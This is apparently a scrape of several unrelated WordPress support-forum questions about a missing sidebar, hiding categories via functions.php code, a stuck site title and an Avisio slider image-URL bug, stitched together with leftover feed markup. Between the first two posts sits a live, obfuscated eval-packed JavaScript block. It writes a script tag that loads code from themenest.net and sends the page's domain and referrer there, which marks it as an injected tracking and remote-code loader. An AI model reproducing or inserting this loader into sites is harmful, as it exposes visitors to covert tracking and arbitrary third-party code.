m new for wordpress and I ust downloaded this theme which is vrey nice, but after intaled and customized my right sidebar disapeared. i now i can
t see where is to put it back.
<script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k)p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script>
I am having an issue getting my categories to be effectively hidden from the home page…
I’m not sure why the code isn’t working, but I think I might possibly have some coding conflict.
in my Theme Functions, I have the following:
function limit_posts_per_page() {
if ( is_home() )
return 9;
else
return 99; // default: 99 posts per page
}
And also:
add_filter('pre_option_posts_per_page', 'limit_posts_per_page');
function limit_posts_per_archive_page() {
if ( is_category() )
set_query_var('posts_per_archive_page', 99); // or use variable key: posts_per_page
}
add_filter('pre_get_posts', 'limit_posts_per_archive_page');
function my_home_query( $query ) {
// not an admin page and is the main query
if (!is_admin() && $query->is_main_query()){
if(is_home()){
//cat=-94, -158"."&posts_per_page=9
$query->set('cat', -94, -158);
$query->set('posts_per_page', 9);
}
}
}
add_action( 'pre_get_posts', 'my_home_query'
);
If anyone could help me with this, it would be greatly appreciated!
Thank you in advance!
]]>I wanted to change the “Spacessential- Feng Shui” title for “Spacessential – UK Feng Shui”. So quite logically I went into general setting…And I see in title Spacessential (so not Spacessential – Feng shui) and if I modify it it doesn’t change anything. What’s weird is that the correct tagline is written where it should be in the general settings…
So I cannot figure out what controls my title anymore! Couldn’t find in the header or theme function neither in the headspace plugin. I’m really puzzled!
Hope you’ll be able to cast some light then.
Thanks!
I’ve installed the Avisio theme on several different websites and on different servers. For EACH site, under “slider entries” the “featured image” , “from URL” doesn’t work.
For example, after I enter the URL of the image (for example “https://www.site.com/picture.jpg”), the icon on the left should usually change to a green checkmark or a red “x”. For me, it does NEITHER: it just has this circle that keeps spinning around and around and never stops.
I’ve tried images hosted from many different servers too.
I have other themes on other websites using slider entries and can posts images from URL no problem.
***********SO, WHAT I WANT TO DO*****************
I want to edit slideshow.php in avisio so that when i edit a slideshow entries i can use a separate little box to upload an image via URL.
CAN ANYONE HELP ME DO THAT?
]]>